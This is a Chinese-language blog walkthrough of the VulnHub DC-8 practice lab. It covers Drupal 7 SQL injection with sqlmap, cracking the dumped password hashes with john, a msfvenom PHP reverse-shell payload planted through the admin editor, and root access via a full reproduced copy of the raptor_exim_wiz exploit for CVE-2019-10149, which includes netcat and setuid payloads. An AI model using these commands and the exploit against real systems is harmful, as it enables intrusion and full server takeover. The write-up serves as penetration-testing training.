VulnHub通关日记-DC_8-Walkthrough

靶机介绍

DC-8是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。

这个挑战有点复杂,既是实际挑战,又是关于在Linux上安装和配置的两因素身份验证是否可以阻止Linux服务器被利用的“概念证明”。

由于在Twitter上询问了有关双重身份验证和Linux的问题,也由于@ theart42的建议,最终导致了该挑战的“概念验证”部分。

这项挑战的最终目标是绕过两因素身份验证,获得root权限并读取唯一的标志。

下载地址:DC: 8 ~ VulnHub

运用的知识点

Drupal 7 SQL注入
john破解HASH
Drupal 7 后台编辑页面 Getshell
eximSUID本地提权

信息搜集

拿到靶机先对它的 IP 进行端口扫描:

1
nmap -A -T4 192.168.1.147

由上图可见,它开放了 22(ssh)、80(http)两个服务端口,而 NMAP 帮我们检测出靶机的 CMS 是 Drupal 7!我寻思DC系列的靶机都是这个CMS?不废话,我们先来看看它的web页面:

1
http://192.168.1.147/

Drupal 7 SQL注入

经过在页面上的侦查,我发现有三个页面引起了我的注意:

他们的参数是 http://192.168.1.147/?nid=1 ,看上去像是一个SQL注入点,于是我手工判断是否存在注入,nid=2-1,结果它返回了nid=1 的页面,说明它存在注入!

随后掏出我的SQLMAP神器上去就是一顿梭哈获取到了管理员的账号和加密的HASH

1
sqlmap -u 192.168.1.147/?nid=2 -D d7db -T users -C name,pass --dump
1
2
3
4
5
6
7
8
9
Database: d7db                                                                                                                                                                                              
Table: users
[2 entries]
+-------+---------------------------------------------------------+
| name  | pass                                                    |
+-------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john  | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-------+---------------------------------------------------------+

john破解HASH

紧接着我用 KALI 自带的 john 开膛手杰克对他们两个密码一一破解!破解 admin 的 HASH 破解不出来:

破解 john 的密码为 turtle

获取到 john 的密码后我用它的密码登陆到了网站后台:

1
http://192.168.1.147/user

Drupal 7 后台编辑页面 Getshell

登陆到网站的后台后我们需要获取到webshell!我在网站的 Webform 找到了可以编辑 PHP 的页面:

这个和 DC-7 靶机有点类似,都是通过后台编辑 PHP 页面来获取到 webshell!我首先是用 MSF 生成了一段 payload

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.128 lport=9999 -f raw

然后开启 MSF 监听模式:

最后把刚刚 MSF 生成的 Payload 放到网站的 PHP 编辑页面里:

保存后来到网站的 Contact Us 提交页面:

这个时候 Metasploit 就成功反弹得到了一枚 shell

先让它切换到 shell 环境 然后使用 Python 得到一个 bash shell:

1
python -c 'import pty;pty.spawn("/bin/bash")'

获取到 shell 之后,我切换到 /home 目录发现只有一个用户 dc8user,但是它里面没有什么文件:

exim本地提权获取Flag

随后我使用 find 命令来查找具有 SUID 权限的文件命令发现了一个 exim4

(PS:Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。 该软件主要运行于类UNIX系统。)

1
find / -perm -u=s -type f 2>/dev/null

然后我又看了看 exim 的版本发现它的版本是 4.8.9

1
exim --version

得到了软件的版本信息那么我们就可以去到 exploit-db 上去搜索有关于这个软件版本的相关漏洞:

由上图可见,它由两个 POC,一个是基于 Metasploit 的,一个是其他的!在 OSCP 考试中 Metasploit 只能使用一次,所以说我们不到万不得已尽量就不要使用 Metasploit!这是关于它的介绍和 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/bin/bash

#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <[email protected]>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive). 
# Improper validation of recipient address in deliver_message() 
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return 
# of the WIZard" vulnerability reported by the Qualys Security 
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
#

METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'

# usage instructions
function usage()
{
	echo "$0 [-m METHOD]"
	echo
	echo "-m setuid : use the setuid payload (default)"
	echo "-m netcat : use the netcat payload"
	echo
	exit 1
}

# payload delivery
function exploit()
{
	# connect to localhost:25
	exec 3<>/dev/tcp/localhost/25

	# deliver the payload
	read -u 3 && echo $REPLY
	echo "helo localhost" >&3
	read -u 3 && echo $REPLY
	echo "mail from:<>" >&3
	read -u 3 && echo $REPLY
	echo "rcpt to:<$PAYLOAD>" >&3
	read -u 3 && echo $REPLY
	echo "data" >&3
	read -u 3 && echo $REPLY
	for i in {1..31}
	do
		echo "Received: $i" >&3
	done
	echo "." >&3
	read -u 3 && echo $REPLY
	echo "quit" >&3
	read -u 3 && echo $REPLY
}

# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <[email protected]>'
echo

# parse command line
while [ ! -z "$1" ]; do
	case $1 in
		-m) shift; METHOD="$1"; shift;;
		* ) usage
		;;
	esac
done
if [ -z $METHOD ]; then
	usage
fi

# setuid method
if [ $METHOD = "setuid" ]; then

	# prepare a setuid shell helper to circumvent bash checks
	echo "Preparing setuid shell helper..."
	echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
	gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
	if [ $? -ne 0 ]; then
		echo "Problems compiling setuid shell helper, check your gcc."
		echo "Falling back to the /bin/sh method."
		cp /bin/sh /tmp/pwned
	fi
	echo

	# select and deliver the payload
	echo "Delivering $METHOD payload..."
	PAYLOAD=$PAYLOAD_SETUID
	exploit
	echo

	# wait for the magic to happen and spawn our shell
	echo "Waiting 5 seconds..."
	sleep 5
	ls -l /tmp/pwned
	/tmp/pwned

# netcat method
elif [ $METHOD = "netcat" ]; then

	# select and deliver the payload
	echo "Delivering $METHOD payload..."
	PAYLOAD=$PAYLOAD_NETCAT
	exploit
	echo

	# wait for the magic to happen and spawn our shell
	echo "Waiting 5 seconds..."
	sleep 5
	nc -v 127.0.0.1 31337

# print help
else
	usage
fi

然后我吧 exp 复制到了 root.sh 里,当然你也可以吧这个 exp 下载到本地,再由本地上传到靶机服务器里,但是我嫌它麻烦,我直接 vi 编辑进去就可以了:

一切就绪之后先给它一个可执行的权限:

1
chmod 777 root.sh

按照脚本的提示运行 root.sh :

1
./root.sh -m netcat

然后 KALI 监听 4444 端口获取到一枚 root 权限的 shell:

最终也是在 /root 目录下获取到了 Flag

交流群:

 微信公众号:

 知识星球:

猜你喜欢

转载自blog.csdn.net/qq_36304918/article/details/124708114